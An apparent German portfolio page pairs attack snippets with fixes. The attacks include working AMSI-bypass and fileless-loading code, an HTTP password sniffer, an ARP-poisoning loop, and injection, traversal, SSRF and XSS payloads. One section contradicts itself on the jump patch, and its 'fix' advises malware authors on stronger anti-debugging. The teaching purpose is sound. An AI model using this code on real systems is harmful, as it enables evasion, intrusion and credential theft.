Security Exhibition.
Verstehen, wie Code gebrochen wird, um unbrechbaren Code zu schreiben. Hier präsentiere ich Angriffsvektoren und deren exakte Behebung.
Hier blenden wir Antivirus-Scanner temporär, indem wir die Scan-Funktion `AmsiScanBuffer` direkt im Speicher patchen, sodass sie immer einen Fehler wirft. Ziemlich direkter, aber effektiver Ansatz, um Payload-Scans zu skippen.
// Löst den Pointer auf und überschreibt die Scan-Funktion, sodass sie immer einen Fehler wirft bool PatchAmsi() { HMODULE amsi = LoadLibraryA("amsi.dll"); if (!amsi) return false; auto target = (PBYTE)GetProcAddress(amsi, "AmsiScanBuffer"); // Überschreibe mit: MOV EAX, 0x80070057 (E_INVALIDARG) ; RET BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; DWORD old; VirtualProtect(target, sizeof(patch), PAGE_EXECUTE_READWRITE, &old); memcpy(target, patch, sizeof(patch)); VirtualProtect(target, sizeof(patch), old, &old); return true; }
Der Fix
Damit dir das nicht passiert, aktivierst du auf OS-Ebene ACG und CIG. Das verbietet dem Prozess rigoros, ausführbaren Speicher dynamisch abzuändern.
// Aktivierung von Process Mitigations beim Prozess-Start bool EnableProcessMitigations() { PROCESS_MITIGATION_DYNAMIC_CODE_POLICY dynamicCodePolicy = {}; dynamicCodePolicy.ProhibitDynamicCode = 1; // Blockiert PAGE_EXECUTE_READWRITE eiskalt // Setzt die Richtlinie für den aktuellen Prozess if (!SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &dynamicCodePolicy, sizeof(dynamicCodePolicy))) { return false; } return true; }
Ein ziemlicher Klassiker. Hier zeige ich, wie man durch ein simples, ungesichertes `strcpy` den Stack überlaufen lässt. Wir pumpen so viel rein, bis wir die Return-Adresse überschreiben und den Ausführungsfluss kapern.
// stack overflow durch zu langen string void vulnerable_function(char* userInput) { char buffer[64]; // strcpy checkt keine grenzen - grober fehler strcpy(buffer, userInput); } int main(int argc, char** argv) { // payload zerschiesst return pointer wenn argv[1] > 64 zeichen hat vulnerable_function(argv[1]); return 0; }
Der Fix
Verbanne C-Strings, wo es geht. Nimm einfach sichere `std::string`-Klassen, die den Speicher verwalten. Und natürlich: Stack Canaries (`/GS` Flag) beim Kompilieren niemals vergessen!
#include <string> #include <iostream> // saubere variante mit modernem c++ void secure_function(const std::string& userInput) { // std::string skaliert den speicher automatisch und sicher std::string buffer = userInput; // optionaler check, falls wir max len erzwingen wollen if (buffer.length() > 64) { std::cout << "input zu lang, blockiert" << std::endl; return; } }
Normale AV-Lösungen scannen Dateien auf der Festplatte. Hier zeige ich, wie man eine .NET Assembly komplett im RAM als Byte-Array lädt und direkt ausführt, ohne jemals die Disk zu berühren. Extrem stealthy.
using System.Reflection; class Program { static void Main() { // bytes reinziehen (z.B. aus dem web oder base64 string) byte[] maliciousPayload = FetchPayloadBytes(); // ausfuehrung direkt aus dem speicher, disk wird umgangen Assembly asm = Assembly.Load(maliciousPayload); asm.EntryPoint.Invoke(null, new object[] { null }); } }
Der Fix
Du musst die Assembly-Load Berechtigungen über strenge AppDomains knebeln oder noch besser direkt Windows Defender Application Control (WDAC) einrichten, das unsignierte in-memory Loads wegblockt.
using System; using System.Security; using System.Security.Permissions; class SecureEnv { public void SetupDomain() { // wir bauen eine harte sandbox ohne load rechte auf PermissionSet permSet = new PermissionSet(PermissionState.None); permSet.AddPermission(new SecurityPermission(SecurityPermissionFlag.Execution)); AppDomainSetup setup = new AppDomainSetup(); AppDomain sandbox = AppDomain.CreateDomain("Sandboxed", null, setup, permSet); // Assembly.Load schlaegt in dieser umgebung fehl } }
Passwort vergessen? Kein Problem, wenn die Login-Maske Strings einfach blind per `+` zusammenbaut. Ich zeige hier, wie ein simpler `' OR '1'='1` Payload den Login komplett hebeln kann.
public bool Login(string username, string password) { // gefährliches aneinanderreihen von eingaben ohne filter string query = "SELECT * FROM Users WHERE Name = '" + username + "' AND Pass = '" + password + "'"; // gibt der user als passwort "admin' OR '1'='1" ein, klappt das immer SqlCommand cmd = new SqlCommand(query, dbConnection); var reader = cmd.ExecuteReader(); return reader.HasRows; }
Der Fix
Verbanne String-Concatenation aus SQL-Statements! Nimm stattdessen parametrisierte Abfragen (Prepared Statements). Dann rafft die DB, dass der Payload pure Textdaten sind und kein ausführbarer Befehl.
public bool SecureLogin(string username, string password) { // sauberes statement nutzen, variablen als platzhalter string query = "SELECT * FROM Users WHERE Name = @user AND Pass = @pass"; SqlCommand cmd = new SqlCommand(query, dbConnection); // die datenbank engine escaped diese parameter automatisch sicher cmd.Parameters.AddWithValue("@user", username); cmd.Parameters.AddWithValue("@pass", password); var reader = cmd.ExecuteReader(); return reader.HasRows; }
Ein extrem gefährliches Ding in Java. Wenn du serialisierte Objekte aus dem Netzwerk ohne Checks direkt wieder in Objekte umbaust (`readObject`), kann man dir Gadget-Chains unterjubeln, die Remote Code ausführen.
import java.io.ObjectInputStream; import java.io.InputStream; public class VulnerableServer { public void handleRequest(InputStream networkStream) throws Exception { // hier lesen wir einfach das netzwerkzeug und machen direkt ein objekt draus. fehler! ObjectInputStream ois = new ObjectInputStream(networkStream); Object payload = ois.readObject(); ois.close(); } }
Der Fix
Seit Java 9 gibt es dafür `ObjectInputFilter`. Du baust eine Whitelist und erlaubst nur haargenau die Klassen, die du auch wirklich erwartest (z.B. einfache Strings oder ArrayLists). Alles andere wird direkt verworfen.
import java.io.ObjectInputStream; import java.io.ObjectInputFilter; import java.io.InputStream; public class SecureServer { public void handleRequest(InputStream networkStream) throws Exception { ObjectInputStream ois = new ObjectInputStream(networkStream); // strickter whitelist filter, der nur standard zeug zulaesst ObjectInputFilter filter = ObjectInputFilter.Config.createFilter( "java.lang.String;java.util.ArrayList;!*" ); ois.setObjectInputFilter(filter); // gadget ketten rennen jetzt direkt gegen die wand Object safeData = ois.readObject(); ois.close(); } }
Klassischer Local File Inclusion (LFI) Trick. Wenn der Webserver Dateinamen annimmt, werfe ich ihm einfach ein paar `../` an den Kopf, breche aus dem Download-Ordner aus und lese gemütlich die `/etc/passwd`.
public byte[] getFile(String requestedFile) throws IOException { // eigentlich unser base verzeichnis fuer downloads String baseDir = "/var/www/downloads/"; // aber requestedFile koennte "../../etc/passwd" sein File file = new File(baseDir + requestedFile); // und boom, file wird ausgeliefert return Files.readAllBytes(file.toPath()); }
Der Fix
Immer den Pfad auflösen (mit `normalize()`) und knallhart überprüfen, ob der endgültige, aufgelöste Pfad immer noch mit unserem erlaubten Base-Verzeichnis anfängt. Sonst: 403 Forbidden!
public byte[] getSecureFile(String requestedFile) throws IOException { Path basePath = Paths.get("/var/www/downloads/").normalize(); Path resolvedPath = basePath.resolve(requestedFile).normalize(); // faengt saemtliche ausbruch-versuche direkt ab if (!resolvedPath.startsWith(basePath)) { throw new SecurityException("Daeny! Zugriff verweigert"); } return Files.readAllBytes(resolvedPath); }
Die schnellste Art, einen Server komplett zu kompromittieren. Wirft man eine ungeprüfte Usereingabe per String-Formatierung in `os.system()`, kann ich via Semikolon einfach meine eigenen Linux-Commands dranhängen.
import os def ping_host(user_input): # anstatt einer IP kommt z.B. "127.0.0.1; cat /etc/passwd" command = f"ping -c 1 {user_input}" # os.system wirft das einfach 1:1 in die bash. danke! os.system(command)
Der Fix
Weg von `os.system` und bloß kein `shell=True`. Stattdessen nutzen wir `subprocess` und übergeben den Command mitsamt Parametern als striktes Array. Plus: Input per Regex knallhart auf IPs filtern.
import subprocess import re def ping_host_secure(user_input): # 1. pingelig genaues regex, um nur IPs zu erlauben if not re.match(r"^\d{1,3}(\.\d{1,3}){3}$", user_input): raise ValueError("Invalid IP format.") # 2. array form blockiert jegliche shell-injections subprocess.run(["ping", "-c", "1", user_input], check=True)
Bei SSRF steuere ich den Server fern. Wenn er stumpf URLs von mir lädt, bringe ich ihn dazu, seine eigenen internen Systeme (z.B. den AWS Metadata-Endpoint `169.254.169.254`) anzufragen und mir die sensiblen Cloud-Token auszuhändigen.
import requests from flask import request # ziel waere eigtl: /download?url=http://imgur.com/bild.jpg # ich sende: /download?url=http://169.254.169.254/latest/meta-data/ def fetch_image(): user_url = request.args.get('url') # server macht blind den request im internen netzwerk response = requests.get(user_url) return response.content
Der Fix
Wir müssen die Domain auflösen und die IP prüfen, bevor der Request überhaupt losgeschickt wird. Fällt die IP in ein privates oder lokales Subnetz (Loopback), ziehen wir sofort den Stecker.
import ipaddress import socket from urllib.parse import urlparse def is_safe_url(url): domain = urlparse(url).hostname try: # dns aufloesen, um tricks mit 302 redirects zu vermeiden ip = socket.gethostbyname(domain) ip_obj = ipaddress.ip_address(ip) # loopback (127.x) und private netze knallhart filtern return not (ip_obj.is_private or ip_obj.is_loopback) except: return False
Ein extrem fieser JavaScript-Angriff. Durch unsicheres Zusammenführen (Mergen) von Objekten können wir die Basis aller JS-Objekte (`__proto__`) infizieren. Ab da erbt jedes neu erstellte Objekt unseren Schadcode – perfekt für massenhaftes XSS.
// payload zielt direkt auf den objekt stammbaum ab const payload = '{"__proto__": {"src": "x onerror=alert(1)"}}'; function vulnerableMerge(target, source) { for (let key in source) { // hier passiert der fehler: keine kontrolle, wohin geschrieben wird if (typeof source[key] === 'object') { if (!target[key]) target[key] = {}; vulnerableMerge(target[key], source[key]); } else { target[key] = source[key]; } } } vulnerableMerge({}, JSON.parse(payload));
Der Fix
Du musst den Prototyp abriegeln. Entweder verbietest du bei der Merge-Funktion direkt Keys wie `__proto__` und `constructor`, oder du frierst `Object.prototype` komplett mit `freeze()` ein, sodass es Read-Only wird.
// sicherungsebene 1: root object read-only machen Object.freeze(Object.prototype); function secureMerge(target, source) { for (let key in source) { // sicherungsebene 2: giftige eigenschaften rausfiltern if (key === '__proto__' || key === 'constructor') { continue; } if (typeof source[key] === 'object') { if (!target[key]) target[key] = {}; secureMerge(target[key], source[key]); } else { target[key] = source[key]; } } }
Ein Klassiker im Frontend. Man nimmt Parameter direkt aus der URL und klatscht sie via `innerHTML` auf die Seite. Der Browser führt dann mein mitgeliefertes Script (z.B. in einem defekten Image-Tag) ohne Fragen aus.
const urlParams = new URLSearchParams(window.location.search); const name = urlParams.get('name'); // opfer klickt auf link mit ?name=<img src=x onerror=alert('hacked')> // landet direkt und ungesichert im dom document.getElementById('greeting').innerHTML = "Hallo " + name + "!";
Der Fix
Ganz einfache Regel: Benutze für textuellen User-Input niemals `innerHTML`. Ein Wechsel auf `textContent` reicht oft völlig aus, da der Browser HTML-Tags hier als harmlosen Text und nicht als Code interpretiert.
const urlParams = new URLSearchParams(window.location.search); const name = urlParams.get('name'); // textContent ist hier der lebensretter // es verarbeitet die tags als simplen zeichensalat, zero execution. document.getElementById('greeting').textContent = "Hallo " + name + "!";
Wie man Crackmes am schnellsten besiegt? Einfach reinschauen. Viele Entwickler backen ihre Passwörter fest ins C-Programm ein. Ein kurzer Scan über die kompilierten Binary-Strings, und wir haben das Passwort im Klartext vor uns.
; programm vergleicht unsere eingabe mit einem fixen string ; 0x0040120A: CALL strcmp ; also scannen wir die windows-binary per terminal auf strings durch: $ strings crackme.exe | grep "admin" Admin_Secret_Pwd123! Access Granted Invalid Password
Der Fix
Das Einmaleins der Sicherheit: Niemals Passwörter im Klartext einkompilieren. Immer hashen (z.B. mit SHA-256 oder Argon2) und einen starken Salt verwenden. Der Angreifer findet dann maximal einen unbrauchbaren Zeichensalat.
// im code lagert nur der berechnete, sichere hash const char* expected_hash = "e3b0c44298fc1c149afbf4c8996fb924..."; void check_pwd(const char* input) { // eingabe hashen und dann mit unserem hash abgleichen char* input_hash = calculate_sha256(input); if (strcmp(expected_hash, input_hash) == 0) { grant_access(); } }
Oft versuchen Malware-Entwickler, Analysten abzuwehren, indem das Programm prüft, ob ein Debugger mitläuft (via `IsDebuggerPresent`). Ich lade die Binary in x64dbg und patche den Jump-Befehl von `JZ` (Jump if Zero) einfach auf `JNZ` (Jump if Not Zero), um die Logik komplett umzudrehen.
; originaler code in der malware: CALL kernel32.IsDebuggerPresent TEST EAX, EAX ; wir aendern JNZ (75 XX) auf JZ (74 XX), um den schutz auszutricksen JZ continue_execution ; malware killt sich sonst selbst CALL kernel32.ExitProcess
Der Fix
Anstatt sich auf ein simples API-Call wie `IsDebuggerPresent` zu verlassen, sollte man tiefere Checks nutzen (z.B. das Lesen des PEB direkt aus dem Thread Environment Block) oder Code-Obfuscation betreiben.
Man-in-the-Middle im lokalen Netz. Wenn Server immer noch unverschlüsseltes HTTP ausliefern, nutze ich einfach Scapy in Python, um Pakete lautlos abzufangen und Passwörter astrein in Klartext mitzulesen.
from scapy.all import sniff from scapy.layers.http import HTTPRequest def process_packet(packet): # hoeren auf puren http traffic am port 80 if packet.haslayer(HTTPRequest): payload = packet[HTTPRequest].payload if payload: raw_data = payload.original.decode('utf-8', 'ignore') # scannen nach typischen login feldern im payload if "password=" in raw_data or "username=" in raw_data: print("[*] Jackpoooot:", raw_data) # netzwerk interface in den promiscuous mode setzen sniff(iface="eth0", store=False, prn=process_packet)
Der Fix
Es gibt 2026 keine Ausrede mehr für Port 80. Alle Dienste zwingend auf HTTPS (TLS 1.3) umstellen und HSTS aktivieren. Dann kriegt mein Sniffer nur noch verschlüsseltes Rauschen zu sehen.
# HTTP anfragen rigoros auf HTTPS weiterleiten server { listen 80; server_name beispiel.de; return 301 https://$server_name$request_uri; } # modernes TLS setup mit HSTS erzwingen server { listen 443 ssl http2; ssl_protocols TLSv1.2 TLSv1.3; add_header Strict-Transport-Security "max-age=31536000" always; }
Wie kriege ich den Traffic meiner Zielperson überhaupt auf meinen Rechner? Durch ARP Spoofing. Ich bombardiere den Router und das Opfer mit gefälschten ARP-Paketen, bis beide denken, meine MAC-Adresse gehört dem jeweils anderen.
from scapy.all import ARP, send # wir sagen dem opfer (192.168.1.10), dass wir der router (192.168.1.1) sind poison_target = ARP(op=2, pdst="192.168.1.10", psrc="192.168.1.1", hwdst="aa:bb:cc:dd:ee:ff") # und dem router erzaehlen wir, wir waeren das opfer poison_router = ARP(op=2, pdst="192.168.1.1", psrc="192.168.1.10", hwdst="11:22:33:44:55:66") # endlose schleife, damit die tabellen manipuliert bleiben while True: send(poison_target, verbose=False) send(poison_router, verbose=False)
Der Fix
In professionellen Netzwerken nutzt man Dynamic ARP Inspection (DAI) am Switch, was solche Pakete blockt. Zuhause hilft statisches Eintragen von wichtigen ARP-Einträgen oder ein VPN.